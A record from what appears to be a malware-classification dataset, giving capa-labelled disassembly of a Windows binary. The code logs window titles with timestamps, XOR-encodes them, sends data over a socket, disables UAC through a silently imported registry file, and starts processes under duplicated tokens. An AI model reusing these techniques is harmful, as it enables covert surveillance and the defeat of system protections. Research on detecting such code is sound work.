joyce8/EMBER2024-capa huggingface dataset:
Function at 0x451fc4
Capabilities:
Encode data using xor

Disassembly:
invalid
mov ebx, 0xb7ffd19b
fist dword [ebx + ecx*2 - 0x648df2ec]
loop 0x451f45
mov ah, 0xdb
dec edx
sbb edi, esp
add byte [edi - 0x5d], dl
xor al, 0x25
imul ebx, dword [ebx - 0x70], 0x42d40ccc
and eax, esp
sahf
adc eax, 0xc68b21c7
sbb byte [ebx - 0x86168e9], bh
scasb al, byte es:[edi]
rcl esp, 1
pop esp
cmp esp, dword [ecx - 0x2b43fddc]
loopne 0x452041
ja 0x451fac
mov ebp, 0x65858b85
movsd dword es:[edi], dword [esi]
or eax, 0xc07275ba
push esp
or dword [ebx + esi*2], 0xffffffe2
push ds
cmc
mov cl, byte [ebp + esi - 8]
pop ss
push esi
push ss
invalid
push cs
xor byte [ebp + 0x71949d81], cl
invalid
Function at 0x4ab9ab
Capabilities:
Encode data using xor

Disassembly:
add bh, bh
dec ebx
push es
cli
mov bh, 0x44
xchg ebp, eax
and al, 0x33
call 0x49b83a53
salc
sub eax, 0xa91004fb
fsubr qword [edi + 0x32d1a993]
inc ebp
cmp dword [esi + ebx*2], edi
cmp al, 0x5e
cmp al, 0x5e
xor al, 0xaf
cwde
dec eax
cmp eax, 0x90a81e07
mov cl, 0x73
sub al, 0x76
les esp, [ecx - 0x51]
or dword [ecx - 0x4d], 0xbfa8912d
inc ecx
jge 0x4ab98d
inc edx
xchg byte [0x9549b6b7], al
dec ecx
das
dec eax
pushfd
stc
inc ebx
stosb byte es:[edi], al
Function at 0x4013b0
Capabilities:
Initialize winsock library

Disassembly:
push 0xffffffffffffffff
push 0x40e66a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x194
push esi
mov esi, ecx
mov dword [esp + 4], esi
lea ecx, [esi + 4]
call fcn.00401000
lea ecx, [esi + 0x14]
mov dword [esp + 0x1a0], 0
call fcn.00401000
lea ecx, [esi + 0x24]
mov byte [esp + 0x1a0], 1
call fcn.00401000
lea ecx, [esi + 0x34]
mov byte [esp + 0x1a0], 2
call fcn.00401000
lea eax, [esp + 8]
mov dword [esi], 0x40f4d0
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov byte [esp + 4], 0x68
mov byte [esp + 5], 0x78
mov dx, word [esp + 4]
lea ecx, [esi + 0x50]
mov dword [esi + 0x4c], eax
mov al, 0x20
mov word [ecx], dx
mov byte [esi + 0x53], 0
mov dword [esi + 0x48], 0xffffffff
mov byte [ecx + 2], al
mov ecx, dword [esp + 0x198]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x1a0
ret

Function at 0x401c80
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
xor ecx, ecx
test esi, esi
jle 0x401ca0
mov dl, byte [ecx + eax]
xor dl, 0xfc
add dl, 0x31
mov byte [ecx + eax], dl
inc ecx
cmp ecx, esi
jl 0x401c8f
pop esi
ret

Function at 0x401cb0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
push ebx
mov ebp, ecx
push edi
call fcn.00401c80
mov esi, dword [esp + 0x24]
mov eax, ebx
add esp, 8
cmp eax, esi
mov dword [esp + 0x14], 0
jb 0x401d23
mov dword [esp + 0x1c], 0
mov eax, dword [ebp + 0x48]
push 0
push esi
push edi
push eax
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x401d02
mov ecx, dword [esp + 0x1c]
inc ecx
cmp ecx, 0xf
mov dword [esp + 0x1c], ecx
jl 0x401ce2
cmp dword [esp + 0x1c], 0xf
je 0x401d56
mov ecx, dword [esp + 0x14]
push 0xa
add ecx, eax
add edi, esi
mov dword [esp + 0x18], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
sub ebx, esi
cmp ebx, esi
jae 0x401cda
test ebx, ebx
jle 0x401d4a
xor esi, esi
mov ecx, dword [ebp + 0x48]
push 0
push ebx
push edi
push ecx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x401d41
inc esi
cmp esi, 0xf
jl 0x401d29
cmp esi, 0xf
je 0x401d56
add dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
cmp eax, ecx
je 0x401d59
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
ret 0xc
Function at 0x402480
Capabilities:
Encode data using xor
Get common file path
Get file size
Write file on windows

Disassembly:
sub esp, 0x108
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x14]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
or ecx, 0xffffffff
mov edi, str._._mnbvcxz_lkjhgfdsa__poiuytrewq
xor eax, eax
lea edx, [esp + 0x14]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov ebx, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x18]
and ecx, 3
push 0x80
rep movsb byte es:[edi], byte [esi]
mov edi, str.Default
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 4
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x20]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov edi, str..key
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 2
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x28]
and ecx, 3
push 0x40000000
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
push 0
push ebp
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x402562
push 2
push 0
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ebx, dword [esp + 0x11c]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov edi, eax
test esi, esi
jle 0x402591
mov ecx, ebx
sub ecx, edi
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
inc eax
dec esi
jne 0x402585
lea eax, [esp + 0x10]
push 0
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x108
ret
Function at 0x4025c0
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x410
push esi
push edi
mov ecx, 0x100
xor eax, eax
mov edi, 0x4164d8
rep stosd dword es:[edi], eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x400
push 0x4164d8
push eax
mov dword [0x4168d8], eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], 0
rep stosd dword es:[edi], eax
mov ecx, dword [0x4164d4]
xor esi, esi
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x4168d8]
cmp eax, ecx
je 0x4026bb
push 0x4164d8
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x4026af
lea ecx, [esp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x12]
mov ecx, dword [esp + 0x10]
and edx, 0xffff
and eax, 0xffff
push edx
mov edx, dword [esp + 0x12]
and ecx, 0xffff
push eax
mov eax, dword [esp + 0x12]
push ecx
mov ecx, dword [esp + 0x14]
and edx, 0xffff
and eax, 0xffff
push edx
and ecx, 0xffff
push eax
push ecx
push 0x4164d8
lea edx, [esp + 0x34]
push 0x41499c
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x3c]
push eax
call fcn.00402480
add esp, 0x28
mov ecx, 0x100
xor eax, eax
mov edi, 0x4164d8
rep stosd dword es:[edi], eax
mov esi, 1
mov ecx, dword [0x4168d8]
mov dword [0x4164d4], ecx
mov eax, esi
pop edi
pop esi
add esp, 0x410
ret
Function at 0x402cf0
Capabilities:
Get graphical window text

Disassembly:
mov eax, 0x1104
call fcn.00408950
push ebx
push ebp
push esi
push edi
push 0x800
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ebx, eax
mov ecx, 0x41
xor eax, eax
mov edi, ebx
rep stosd dword es:[edi], eax
mov ecx, 0x1ff
lea edi, [esp + 0x119]
mov byte [esp + 0x118], al
mov byte [esp + 0x918], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x1ff
xor eax, eax
lea edi, [esp + 0x919]
add esp, 4
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0
push str.CTXOPConntion_Class
stosb byte es:[edi], al
call dword [sym.imp.USER32.dll_FindWindowA]
mov ebp, eax
test ebp, ebp
je 0x402e96
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x10]
push 0x104
push eax
push ebp
call dword [sym.imp.USER32.dll_GetClassNameA]
mov esi, str.CTXOPConntion_Class
lea eax, [esp + 0x10]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x402db5
test cl, cl
je 0x402db1
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x402db5
add eax, 2
add esi, 2
test cl, cl
jne 0x402d91
xor eax, eax
jmp 0x402dba
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x402e83
test ebp, ebp
je 0x402dda
lea eax, [esp + 0x114]
push 0x104
push eax
push ebp
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea edi, [esp + 0x114]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov al, byte [esp + ecx + 0x113]
dec ecx
cmp al, 0x5f
jne 0x402deb
lea edi, [esp + ecx + 0x115]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x914]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x402e57
mov edi, 0x4149f4
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x914]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 2
push ebp
call dword [sym.imp.USER32.dll_GetWindow]
mov ebp, eax
test ebp, ebp
jne 0x402d62
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jne 0x402ec1
mov edi, 0x4149f0
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x1104
ret
Function at 0x402fb0
Capabilities:
Get file size
Write file on windows

Disassembly:
sub esp, 0x404
push ebp
push esi
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ax, word [0x4164d2]
test ax, ax
je 0x403099
push 0
xor esi, esi
push 0x80
push 4
mov si, ax
mov eax, dword [esp + 0x41c]
push 0
push 2
push 0x40000000
push eax
shl esi, 0xa
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x403099
push edi
push 2
push 0
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, esi
shl ecx, 0xa
cmp ecx, eax
jbe 0x403091
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor edi, edi
mov dword [esp + 0xc], 0
test esi, esi
jbe 0x403091
push ebx
test edi, 0x3ff
jne 0x403073
xor ebx, ebx
call dword [sym.imp.MSVCRT.dll_rand]
add al, bl
mov ecx, 0xff
movsx eax, al
cdq
idiv ecx
inc ebx
cmp ebx, 0x400
mov byte [esp + ebx + 0x13], dl
jl 0x403053
lea edx, [esp + 0x10]
push 0
push edx
lea eax, [esp + 0x1c]
push 0x400
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
inc edi
cmp edi, esi
jb 0x403049
pop ebx
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
add esp, 0x404
ret

Function at 0x4034e0
Capabilities:
Write file on windows

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push 0
push 0
push 2
push 0
push 1
push 0x40000000
push eax
xor bl, bl
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x403505
lea ecx, [esp + 0xc]
push 0
push ecx
push 0xf5
push 0x41458c
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x403523
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop esi
pop ebx
ret

Function at 0x403770
Capabilities:
Delete service
Terminate process

Disassembly:
sub esp, 0x94
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 0xf01ff
push str.Stuvwx
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push eax
call dword [sym.imp.ADVAPI32.dll_DeleteService]
call fcn.004036f0
lea eax, [esp]
mov dword [esp], 0x94
push eax
call dword [0x416f50]
cmp dword [esp + 0x10], 2
jne 0x4037ca
cmp dword [esp + 4], 6
jb 0x4037ca
mov dword [0x41703c], 1
push 0
call dword [sym.imp.MSVCRT.dll_exit]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop

Function at 0x403f80
Capabilities:
Check os version

Disassembly:
sub esp, 0x9c
lea eax, [esp]
mov dword [esp], 0x9c
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x403fa6
xor al, al
add esp, 0x9c
ret
cmp dword [esp + 4], 5
seta al
add esp, 0x9c
ret
Function at 0x4048f0
Capabilities:
Encode data using xor
Get common file path
Get file size
Read file on windows

Disassembly:
sub esp, 0x10c
push ebx
push ebp
push esi
mov dword [esp + 0xc], ecx
push edi
xor ebx, ebx
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x18]
push 0x104
push eax
mov dword [esp + 0x1c], ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
or ecx, 0xffffffff
mov edi, str._._mnbvcxz_lkjhgfdsa__poiuytrewq
xor eax, eax
lea edx, [esp + 0x18]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov ebp, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x1c]
and ecx, 3
push 0x80
rep movsb byte es:[edi], byte [esi]
mov edi, str.Default
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 3
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x24]
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
mov edi, str..key
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 1
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x2c]
and ecx, 3
push connect
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x404a1e
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
lea ecx, [esp + 0x14]
mov esi, eax
push ebx
push ecx
push edi
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
cmp edi, ebx
jbe 0x404a08
mov bl, byte [eax + esi]
xor bl, 0x62
mov byte [eax + esi], bl
inc eax
cmp eax, edi
jb 0x4049fa
mov ecx, dword [esp + 0x10]
push edi
push esi
call fcn.00404890
push esi
mov ebx, eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x10c
ret
Function at 0x405290
Capabilities:
Create process on windows
Create process suspended

Disassembly:
sub esp, 0x68
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push ebp
push esi
push edi
push str.userenv.dll
call ebx
mov ebp, eax
push str.CreateEnvironmentBlock
push ebp
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 0x20], eax
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x34]
rep stosd dword es:[edi], eax
mov dword [esp + 0x24], eax
xor esi, esi
mov dword [esp + 0x28], eax
mov dword [esp + 0x1c], esi
mov dword [esp + 0x2c], eax
mov dword [esp + 0x18], esi
mov dword [esp + 0x30], eax
mov dword [esp + 0x14], esi
mov dword [esp + 0x10], esi
mov dword [esp + 0x24], esi
mov dword [esp + 0x28], esi
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], esi
mov dword [esp + 0x34], 0x44
mov dword [esp + 0x3c], str.WinSta0Default
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea ecx, [esp + 0x14]
push ecx
push 0xf01ff
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x10]
push edx
push 1
push 1
push esi
push 0x2000000
push eax
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
push str.WTSGetActiveConsoleSessionId
push str.Kernel32.dll
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, esi
je 0x4053bc
call eax
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x18]
push 4
push ecx
push 0xc
push edx
mov dword [esp + 0x28], eax
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
mov eax, dword [esp + 0x10]
push esi
lea ecx, [esp + 0x20]
push eax
push ecx
call dword [esp + 0x2c]
mov ecx, dword [esp + 0x1c]
lea edx, [esp + 0x24]
lea eax, [esp + 0x34]
push edx
mov edx, dword [esp + 0x80]
push eax
mov eax, dword [esp + 0x18]
push esi
push ecx
push 0x430
push esi
push esi
push esi
push edx
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
mov ecx, dword [esp + 0x10]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 0x24]
push ecx
call ebx
mov edx, dword [esp + 0x14]
push edx
call ebx
jmp 0x4053be
xor edi, edi
cmp ebp, esi
je 0x4053c9
push ebp
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x68
ret
Function at 0x405660
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
sub esp, 0x354
push ebx
push ebp
push esi
push edi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x6c]
push 0x2e
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x36c]
mov dword [esp + 0x18], 0x104
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 8
test eax, eax
jne 0x4056a3
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret
mov ebp, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [esp + 0x10]
push ecx
push 0xf003f
push 0
push eax
push connect
call ebp
test eax, eax
je 0x4056ce
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret
mov ecx, dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
lea edx, [esp + 0x14]
lea eax, [esp + 0x6c]
push edx
push eax
push 0
push ecx
call esi
mov edx, dword [esp + 0x10]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edx
call ebx
mov ecx, 0x7d
xor eax, eax
lea edi, [esp + 0x170]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x6c]
lea ecx, [esp + 0x170]
push eax
push str._s_shellopencommand
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x170]
push edx
push 0xf003f
push 0
push eax
push connect
call ebp
test eax, eax
je 0x40574b
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x6c]
lea edx, [esp + 0x6c]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], 0x104
push ecx
push edx
push eax
mov eax, dword [esp + 0x1c]
push eax
call esi
mov ecx, dword [esp + 0x10]
push ecx
call ebx
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
lea edx, [esp + 0x6c]
push 0x414b10
push edx
call esi
add esp, 8
test eax, eax
jne 0x4057c8
lea eax, [esp + 0x6c]
push 0x414b0c
push eax
call esi
add esp, 8
test eax, eax
jne 0x4057c8
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x6c]
push 0x414b08
push ecx
call esi
mov edx, dword [esp + 0x368]
lea eax, [esp + 0x6c]
push edx
push eax
call esi
jmp 0x4057d7
mov ecx, dword [esp + 0x368]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x2c]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x36c]
mov dword [esp + 0x28], 0x44
test eax, eax
je 0x4057ff
mov dword [esp + 0x30], str.WinSta0Default
lea edx, [esp + 0x18]
lea eax, [esp + 0x28]
push edx
push eax
push 0
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x88]
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x354
ret
Function at 0x405900
Capabilities:
Write file on windows

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push 0
push 0
push 2
push 0
push 1
push 0x40000000
push eax
xor bl, bl
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x405925
lea ecx, [esp + 0xc]
push 0
push ecx
push 0xf5
push str.Windows_Registry_Editor_Version_5.00____r_n____r_n_HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem_____r_n_EnableLUA_dword:00000000_r_n_r_n::
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x405943
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop esi
pop ebx
ret

Function at 0x405950
Capabilities:
Copy file
Create process on windows
Delete file

Disassembly:
sub esp, 0x208
mov eax, dword [str.Uac.reg]
mov ecx, dword [0x414a8c]
push esi
push edi
mov dword [esp + 8], eax
mov dword [esp + 0xc], ecx
lea edx, [esp + 0x10c]
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x10]
push 0xe1
push edx
rep stosd dword es:[edi], eax
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 8]
push 0
lea ecx, [esp + 0x110]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea edx, [esp + 8]
push edx
call fcn.00405900
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 4
push 0x294
call esi
push 0
push str.cmd__C__regedit__s_Uac.reg
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x3e8
call esi
push str.Uac.reg
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop edi
xor eax, eax
pop esi
add esp, 0x208
ret
Function at 0x406050
Capabilities:
Enumerate devices by category

Disassembly:
sub esp, 0x28
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push ebp
push esi
push edi
push str.Ole32.dll
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.CoInitialize
push edi
call esi
push str.CoUninitialize
push edi
mov ebp, eax
call esi
push str.CoCreateInstance
push edi
mov dword [esp + 0x2c], eax
call esi
push str.Oleaut32.dll
mov dword [esp + 0x1c], eax
call ebx
mov ebx, eax
push str.SysFreeString
push ebx
call esi
push 0
mov esi, eax
call ebp
lea eax, [esp + 0x1c]
xor ebp, ebp
push eax
push 0x41001c
push 1
push ebp
push 0x41003c
call dword [esp + 0x2c]
test eax, eax
je 0x4060cb
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x28
ret
mov eax, dword [esp + 0x1c]
lea edx, [esp + 0x10]
push 0
push edx
mov ecx, dword [eax]
push 0x41002c
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x4060ef
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x28
ret
mov eax, dword [esp + 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x20]
push ecx
lea ecx, [esp + 0x18]
mov edx, dword [eax]
push ecx
push 1
push eax
call dword [edx + 0xc]
test eax, eax
jne 0x406186
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x18]
push ecx
push 0x40f548
mov edx, dword [eax]
push 0
push 0
push eax
call dword [edx + 0x24]
test eax, eax
jl 0x406162
mov eax, dword [esp + 0x18]
lea ecx, [esp + 0x28]
push 0
mov word [esp + 0x2c], 8
mov edx, dword [eax]
push ecx
push str.FriendlyName
push eax
call dword [edx + 0xc]
test eax, eax
jne 0x406158
mov edx, dword [esp + 0x30]
inc ebp
push edx
call esi
mov eax, dword [esp + 0x18]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0x14]
push eax
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x20]
push edx
lea edx, [esp + 0x18]
mov ecx, dword [eax]
push edx
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x406113
call dword [esp + 0x24]
mov esi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
test edi, edi
je 0x406197
push edi
call esi
test ebx, ebx
je 0x40619e
push ebx
call esi
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x28
ret